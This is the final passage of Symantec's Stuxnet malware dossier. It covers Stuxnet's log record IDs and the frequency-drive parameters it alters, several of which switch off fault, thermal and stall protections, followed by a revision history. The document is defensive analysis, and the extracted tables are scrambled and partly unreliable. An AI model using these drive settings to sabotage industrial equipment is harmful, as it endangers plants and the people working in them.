+668

PropagationData

block 3

+6A4

Dword

Flag to control whether WMI jobs should be run

+6A8

Dword

Flag to control whether scheduled jobs should be run

+6AC

Dword

Flag controlling update

+6B4

Dword

Flag, disable setup+6b8

PropagationData

block 1

Table 14

Format of a Propagation Data block
OffsetType

Description

+00

Qword

Timestamp max time

+08

Qword

Timestamp AV definitions max timestamp

+10

Qword

Timestamp Kernel DLLs max timestamp

+18

Qword

Timestamp secondary time

+20

Dword

Day count

+24

Dword

Flag check secondary time

+28

Dword

Flag check time

+2C

Dword

Flag check AV definitions time

+30

Dword

Flag check Kernel DLLs max timestamp

+34

Dword

+38

Dword

Page 57

Security Response

W32.Stuxnet Dossier

Appendix B
The oem6c.pnf log file
This file is created as %Windir%\inf\oem6c.pnf.
It is encrypted and used to log information about various actions executed by Stuxnet. This data file appears tohave a fixed size of 323,848 bytes. However the payload size is initially empty.
On top of storing paths of recorded or infected Step7 project files, other records of information are stored. Each
record has an ID, a timestamp, and (eventually) data.
Here is a list of records that can be stored to oem6c.pnf:

Communication• 2DA6h,1—No data. Stored before executing export 28.
• 2DA6h,2—No data. Stored only if export 28 executed successfully.
• 2DA6h,3—Has the initial network packet (to HTTP server) been sent.

S7P/MCP• 246Eh,1—Unknown. Relates to XUTILS\listen\XR000000.MDX.
• 246Eh,2—Unknown. Relates to GracS\cc_alg.sav.
• 246Eh,3—Filepath S7P.
• 246Eh,4—Filepath S7P.
• 246Eh,4—Filepath MCP.
• 246Eh,5—Filepath MCP.
• 246Eh,6—Recorded Step7 project path.

Network• F409h, 1—Server names collected from network enumeration.
• F409h, 2—Unknown, index.
• F409h, 3—No data. Related to exploit (failure/success?).

Infection• 7A2Bh,2—No data. Infection of last removable device success.
• 7A2Bh,5—No data. Infection of last removable device failed.
• 7A2Bh,6—No data. Both files wtr4141/wtr4132 exist on the drive to be infected.
• 7A2Bh,7—No data. Unknown, created on error.
• 7A2Bh,8—No data. Created if not enough space on drive to be infected (less than 5Mb).

Rootkits• F604h,5—No data. Only if Stuxnet and the rootkits were dropped and installed correctly (installation success).

Page 58

W32.Stuxnet Dossier

Security Response

Appendix C
The following represents the parameters changed on the frequency drives and their values. Descriptions of thevalues are provided; however, many of these descriptions—especially for parameters over 1000—may be inaccurate (some clearly are inaccurate). These descriptions are derived from multiple sources and, ultimately, custom
applications can be used on frequency drives that use and specify their own purpose for these values.
Table 15

Table 16

Parameters and values for Vacon drive

Parameters and values for Fararo
Paya drive

Parameter

Value

Possible Description

Parameter

Frames 1.1
?

Value

Possible Description

Frames 1.1

813

2

819

0

117

49

1086

1

Disable stop lock - allows parameters
adjusting during RUN state (allinone)

118

899

119

101

114

0

stop button

120

119

301

0

DIN3 function

116

8000

313

0

RO1 function

116

12000

314

0

RO2 function

116

8000

315

0

output frequency limit 1 supervision

116

16000

346

0

output frequency limit 2 supervision

122

2

348

0

torque limit supervision function

174

301

350

0

reference limit supervision function

168

1

354

0

frequency converter temperature limit
supervision

170

201

356

0

analogue supervision signal

113

2

700

0

Response to the 4mA reference fault

114

850

701

0

Response to external fault

142

14000

702

0

Output phase supervision

111

1

703

0

Earth fault protection

112

61990

704

0

Motor thermal protection

123

0

709

0

Stall protection

107

399

713

0

Underload protection

106

950

727

1

Response to undervoltage fault

104

10500

Frequency ?

730

0Input phase supervision

101

10500

Frequency ?

732

0

Response to thermistor fault

104

14001

733

0

Response to fieldbus fault

111

10000

734

0

Response to slot fault

101

14000

740

0

Response to PT100 fault

103

10490

1316

0

Brake fault action (allinone)

102

10480

1082

0

SystemBus communication fault response (allinone)

166

1

173

1

752

0

Speed error fault function

169

1
30000

1353

0

Encoder fault mode (advanced)

112

303

0

reference scaling min value

0

0

304

0

reference scaling maximum value

169

1

305

0

reference inversion

Frequency ?

Frequency ?

Page 59

W32.Stuxnet Dossier

Security Response

Table 15

Table 16

Parameters and values for Vacon drive
Parameter

Value

Possible Description

Parameters and values for Fararo
Paya drive

434

0

fault

Parameter

Value

436

0

warning active

0

0

438

0

reference fault/warning

Frames 1.2

4390

overtemperature warning

123

0

441

0

unrequested direction

112

1

444

0

external control place

102

10

445

0

external brake control

103

500

447

0

output frequency limit 1 supervision

101

10000

Frequency?

4480

output frequency limit 2 supervision

104

10640

Frequency?

449

0Reference limit supervision

107

400

450

0

Temperature limit supervision

105

33

451

0

Torque limit supervision

106

100

452

0

Thermistor fault or warning

117

20

463

0

Analogue input supervision limit

118

650

485

0

Scaling of motoring torque limit

119

400

464

0

Analogue output 1 signal selection

120

100

307

0

analogue output function

174

450

471

0

Analogue output 2 signal selection

168

4

472

0

Analogue output 2 function

170

400

478

0

Analogue output 3/ signal selection

113

1

479

0

Analogue output 3/ function

114

750

312

0

digital output 1 function

112

10

486

0

Digital output 1 signal selection

111

10

490

0

Digital output 2 function

142

10640

489

0

Digital output 2 signal selection

169

1

307

0

analogue output function

173

1

472

0

Analogue output 2 function

Frames 2.1

4790

Analogue output 3/ function

117

49

464

0

Analogue output 1 signal selection

118

899

471

0

Analogue output 2 signal selection

119

101

478

0

Analogue output 3/ signal selection

120

119

484

0

Analogue output 3 offset

116

8000

312

0

digital output 1 function

116

12000

490

0

Digital output 2 function

116

8000

486

0

Digital output 1 signal selection

116

16000

489

0

Digital output 2 signal selection

122

2

414

0

fault reset

166

1

415

0

acc/dec prohibited

174

301

416

0

DC-braking

168

1

750

1

Cooling monitor

170

201

1213

1

Emergency Stop (allinone)

113

2

Possible Description

Frequency?

Page 60

W32.Stuxnet Dossier

Security Response

Table 15

Table 16

Parameters and values for Vacon drive
Parameter

Value

Possible Description

Parameters and values for Fararo
Paya drive

1420

1

Prevention of startup (allinone)

Parameter

Value
850

399

0

scaling of current limit

114

400

0

scaling of DC breaking current

102

1

401

0

scaling of acc/dec time

108

1
1

405

0

external fault close

109

406

1

external fault open

105

280

407

1

run enable

106

281
400

411

1

control from fieldbus

103

409

0

control from I/O terminal

112

1

410

0

control from keyboard

111

30000
0

107

44

current limit

123

107

440

current limit

142

2

509

0

Prohibit frequency area 1/ Low limit

107

380
2

510

0

Prohibit frequency area 1/ High limit

101

511

0

Prohibit frequency area 2/ Low limit

104

500

512

0

Prohibit frequency area 2/ High limit

169

1
1

513

0

Prohibit frequency area 3/ Low limit

173

514

0

Prohibit frequency area 3/ High limit

0

0

104

19990

deceleration time 1 ?

169

1

503

19990

deceleration time 2 ?

Frames 2.2

1541

19990

Selma Fault Word 1 - ?

123

0

1542

19990

Selma Fault Word 2 - ?

111

1

508

0

DC-braking time at stop

104

10640

516

0

DC-braking time at start

103

500

506

1

stop function

101

10000

505

0

start function

102

10

1500

1

Current limit (multimotor) or DIN5 function (lift app)

107

400

105

33

106

100

166

1

117

20

118

650

119

400

120

100

122

2
450

103

4000

acceleration time 1

502

4000

acceleration time 2

1531

1

Min frequency (highspeed multimotor)

1253control place122

3

fieldbus control reference

102

1410

1502

1

Maximum frequency (highspeed multimotor)

1505

1

Current limit (highspeed multimotor)

174

1508

1

Nominal speed of the motor (highspeed
multimotor)

168

4

170

400

1511

1

I/O reference (highspeed multimotor)

113

1

1514

1

Start function (highspeed multimotor)

114

750

108

1500

Possible Description

Frequency?

Frequency?

Page 61

W32.Stuxnet Dossier

Security Response

Table 15

Table 16

Parameters and values for Vacon drive

Parameters and values for Fararo
Paya drive

Parameter

Value

Possible Description

1517

1

DC braking time at stop (highspeed
multimotor)

1520

1

Measured Rs voltage drop (multimotor2)

1503

1

Acceleration time 1 (highspeed multimotor)

1506

1

Nominal voltage of the motor (highspeed
multimotor)

1509

1

Nominal current of the motor (highspeed multimotor)

1512

1

Analogue output function (highspeed
multimotor)

1515

1

Stop function (highspeed multimotor)

1518

1

Follower drive windong phase shift(advanced)

600

0Motor control mode

521

0Motor control mode 2

1522

1

Analogue output 4 inversion (advanced)

1526

1

DIN5 function (highspeed multimotor)

1525

1

Analogue output 4 scaling (advanced)

1532

0

Max frequency (highspeed multimotor)

1527

0

Analogue output 4 signal selection(advanced)

110

400

nominal voltage of motor

1519

1064

1516

1063

1520

29990

Measured Rs voltage drop (multimotor2)

1517

29990

DC braking time at stop (highspeed
multimotor)

1522

1

Analogue output 4 inversion (advanced)

1526

1

DIN5 function (highspeed multimotor)

1525

1

Analogue output 4 scaling (advanced)

1519

1410

1516

1400

1517

4000

DC braking time at stop (highspeed
multimotor)

1518

5990

Follower drive windong phase shift(advanced)

1513

1062

1510

1061

1507

1060

1504

1059

1501

1058

0

0

Parameter

Value

109

1200

112

10

111

10

142

10640

169

1

173

1

Possible Description

Frequency?

Page 62

W32.Stuxnet Dossier

Security Response

Table 15

Parameters and values for Vacon drive
Parameter

Value

Possible Description

Frames 1.2
812

12

0

0

Number of stop bits

Frames 2.1
813

2

?

819

0

1086

1

Disable stop lock - allows parameters
adjusting during RUN state (allinone)

114

0stop button

506

0stop function

315

0

output frequency limit 1 supervision346

0

output frequency limit 2 supervision348

0

torque limit supervision function

350

0reference limit supervision function354

0frequency converter temperature limit
supervision356

0

analogue supervision signal

7000Response to the 4mA reference fault

701

0

Response to external fault

7020

Output phase supervision

703

0Earth fault protection704

0Motor thermal protection

709

0

Stall protection713

0

Underload protection

727

1

Response to undervoltage fault

730

0

Input phase supervision732

0

Response to thermistor fault733

0

Response to fieldbus fault734

0

Response to slot fault

740

0

Response to PT100 fault

1316

0

Brake fault action (allinone)

1082

0

SystemBus communication fault response (allinone)

7520

Speed error fault function

1353

0

Encoder fault mode (advanced)

303

0reference scaling min value

304

0

reference scaling maximum value

305

0

reference inversion

434

0

fault

436

0

warning active

438

0reference fault/warning

439

0

overtemperature warning

Page 63

W32.Stuxnet Dossier

Security Response

Table 15

Parameters and values for Vacon drive
Parameter

Value

Possible Description

441

0

unrequested direction

444

0external control place

445

0external brake control

447

0

output frequency limit 1 supervision448

0

output frequency limit 2 supervision449

0Reference limit supervision450

0Temperature limit supervision451

0Torque limit supervision452

0

Thermistor fault or warning463

0

Analogue input supervision limit

485

0

Scaling of motoring torque limit

464

0

Analogue output 1 signal selection

307

0

analogue output function471

0

Analogue output 2 signal selection472

0

Analogue output 2 function

478

0

Analogue output 3/ signal selection479

0

Analogue output 3/ function

312

0

digital output 1 function

4860Digital output 1 signal selection490

0Digital output 2 function

489

0

Digital output 2 signal selection

414

0fault reset4150acc/dec prohibited416

0DC-braking

750

1

Cooling monitor

1213

1

Emergency Stop (allinone)

1420

1

Prevention of startup (allinone)

607

0Overvoltage controller

1267

850

Brake chopper level (advanced)

1262

2

Overvoltage reference selection (advanced)

520

0

Flux brake

1522

0

Analogue output 4 inversion (advanced)

1526

0

DIN5 function (highspeed multimotor)

1525

0

Analogue output 4 scaling (advanced)

516

0DC-braking time at start

508

0DC-braking time at stop

515

1

505

0

start function

104

1

deceleration time 1503

1

deceleration time 2

Page 64

W32.Stuxnet Dossier

Security Response

Table 15

Parameters and values for Vacon drive
Parameter

Value

Possible Description

1541

1

Selma Fault Word 1 - ?

1542

1

Selma Fault Word 2 - ?

1531

0

Min frequency (highspeed multimotor)

1532

0

Max frequency (highspeed multimotor)

1253control place

601

160

switching frequency

399

0

scaling of current limit

4000scaling of DC breaking current

4010scaling of acc/dec time

405

0external fault close

406

1external fault open407

1

run enable

411

1

control from fieldbus

409

0

control from I/O terminal

410

0control from keyboard

600

0Motor control mode

521

0Motor control mode 2

108

2

U/f ratio selection

101

0

min frequency

107

44

current limit

107

440

current limit

110

380

nominal voltage of motor

606

2800

output voltage at zero frequency

111

80

112

144

nominal speed of motor

120

85

motor cos phi

605

2850

U/f curve/ middle point voltage

603

3000

voltage at field weakening point

604

40

1519

1

102

2

717

110

Automatic restart/ Wait time

718

120

Automatic restart/ Trial time

721

10

Automatic restart/ Number of tries after
overvoltage trip

722

3

Automatic restart/ Number of tries after
overcurrent trip

301

0

DIN3 function

313

0

RO1 function

314

0

RO2 function

103

3000

acceleration time 1

502

3000

acceleration time 2

Page 65

W32.Stuxnet Dossier

Security Response

Table 15

Parameters and values for Vacon drive
Parameter

Value

Possible Description

1502

3000

Maximum frequency (highspeed multimotor) ?

104

19990

deceleration time 1 ?

503

19990

deceleration time 2 ?

1541

19990

Selma Fault Word 1 - ?

1542

19990

Selma Fault Word 2 - ?

504

1

brake chopper

504

4

brake chopper

1531

1

Min frequency (highspeed multimotor)

0

0

0

0

506

1

0

0

stop function

Frames 2.25060stop function

1532

0

Max frequency (highspeed multimotor)

1541

1

Selma Fault Word 1 - ?

1542

1

Selma Fault Word 2 - ?

104

1deceleration time 1503

1

deceleration time 2

1522

0

Analogue output 4 inversion (advanced)

1526

0

DIN5 function (highspeed multimotor)

1525

0

Analogue output 4 scaling (advanced)

125

3control place

1531

0

Min frequency (highspeed multimotor)

0

0

0

0

0

0

102

1064

108

2

111

1064

604

50

603

10000

voltage at field weakening point

605

1000

U/f curve/ middle point voltage

606

330

output voltage at zero frequency

0

0

812

12

?

1531

1

Min frequency (highspeed multimotor)

516

0DC-braking time at start

505

0

start function

103

1

acceleration time 1

U/f ratio selection

Page 66

W32.Stuxnet Dossier

Security Response

Table 15

Parameters and values for Vacon drive
Parameter

Value

Possible Description502

1

acceleration time 2

1502

1

Maximum frequency (highspeed multimotor)

1522

0

Analogue output 4 inversion (advanced)

1526

0

DIN5 function (highspeed multimotor)

1525

0

Analogue output 4 scaling (advanced)

0

0

0

0

812

12

0

0

?

Page 67

Security Response

W32.Stuxnet Dossier

Revision History
Version 1.0 (September 30, 2010)• Initial publication

Version 1.1 (October 12, 2010)• Added Windows Win32k.sys Local Privilege Escalation (MS10-073) section.
• Updates to Modifying PLCs section, based on MS10-073.
• Other minor updates.

Version 1.2 (November 3, 2010)• Added Behavior of a PLC infected by sequence A/B section.

Version 1.3 (November 12, 2010)• Updated the Modifying PLCs section.
• Added Appendix C.

Version 1.4 (February 11, 2011)• New content added to the Infection Statistics, The monitor thread, Sequence C, and Variants sections.
• Minor edits and updates to Configuration Data Block, Behavior of a PLC infected by sequence A/B, and Other
export hooks sections.

Page 68

Security Response

Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec
Corporation.
NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of thetechnical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographicalerrors. Symantec reserves the right to make changes without prior notice.

About Symantec
Symantec is a global leader inproviding security, storage andsystems management solutions to
help businesses and consumers
secure and manage their information.
Headquartered in Cupertino, Calif.,
Symantec has operations in morethan 40 countries. More information
is available at www.symantec.com.

About the authors
Nicolas Falliere is a Senior Software Engineer,
Liam O Murchu is a Development Manager,
and Eric Chien is a Technical Director
within Symantec Security Response.

For specific country offices and contact numbers, please visit our Web site. For productinformation in the U.S., calltoll-free 1 (800) 745 6054.

Symantec Corporation
World Headquarters
20330 Stevens Creek Blvd.
Cupertino, CA 95014 USA+1 (408) 517 8000
1 (800) 721 3934
www.symantec.com

Copyright © 2011 Symantec Corporation. All rights reserved.
Symantec and the Symantec logo are trademarks or registeredtrademarks of Symantec Corporation or its affiliates in the
U.S. and other countries. Other names may be trademarks of
their respective owners.